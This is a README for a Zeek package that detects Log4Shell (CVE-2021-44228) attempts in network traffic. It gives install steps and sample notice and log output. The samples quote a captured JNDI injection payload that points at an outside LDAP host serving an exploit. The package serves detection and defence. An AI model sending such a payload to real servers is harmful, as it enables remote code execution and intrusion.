CVE-2021-44228

A Zeek package which raises notices and optionally generates a log for Log4J (CVE-2021-44228) attempts. See Simplifying Detection of Log4Shell for details.

Installation

$ zkg install cve-2021-44228

Use against a pcap you already have:

$ zeek -Cr scripts/__load__.zeek your.pcap

Options and notes:

Option CVE_2021_44228::log determines if the log4j log is generated. Defaults to T.

Example Notice

#separator \x09
#set_separator  ,
#empty_field    (empty)
#unset_field    -
#path   notice
#open   2021-12-14-11-50-29
#fields ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       fuid    file_mime_type  file_desc       proto   note    msg     sub     src     dst     p       n       peer_descr      actions email_dest      suppress_for    remote_location.country_code    remote_location.region  remote_location.city    remote_location.latitude        remote_location.longitude
#types  time    string  addr    port    addr    port    string  string  string  enum    enum    string  string  addr    addr    port    count   string  set[enum]       set[string]     interval        string  string  string  double  double
1639350256.733555       Cp7gaS3nVqVl49obpb      154.65.28.250   57932   172.16.4.58     80      -       -       -       tcp     CVE_2021_44228::LOG4J_ATTEMPT_HEADER    Possible Log4j exploit CVE-2021-44228 exploit in header. Refer to sub field for sample of payload, original_URI and list of server headers      uri='/', payload_uri=45.83.193.150:1389/Exploit, payload_stem=45.83.193.150:1389, payload_host=45.83.193.150, payload_port=1389, method=GET, is_orig=T, header name='AUTHORIZATION',  header value='Bearer ${jndi:ldap://45.83.193.150:1389/Exploit}'       154.65.28.250   172.16.4.58     80      -       -       Notice::ACTION_LOG      (empty) 3600.000000     -       -       -       -       -
#close  2021-12-14-11-50-29

Example Log (log4j.log)

#separator \x09
#set_separator  ,
#empty_field    (empty)
#unset_field    -
#path   log4j
#open   2021-12-14-11-50-29
#fields ts      uid     http_uri        uri     stem    target_host     target_port     method  is_orig name    value   matched_name    matched_value
#types  time    string  string  string  string  string  string  string  bool    string  string  bool    bool
1639350256.733555       Cp7gaS3nVqVl49obpb      /       45.83.193.150:1389/Exploit      45.83.193.150:1389      45.83.193.150   1389    GET     T       AUTHORIZATION   Bearer ${jndi:ldap://45.83.193.150:1389/Exploit}        F       T
#close  2021-12-14-11-50-29

References

1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228
2. https://corelight.com/blog/simplifying-detection-of-log4shell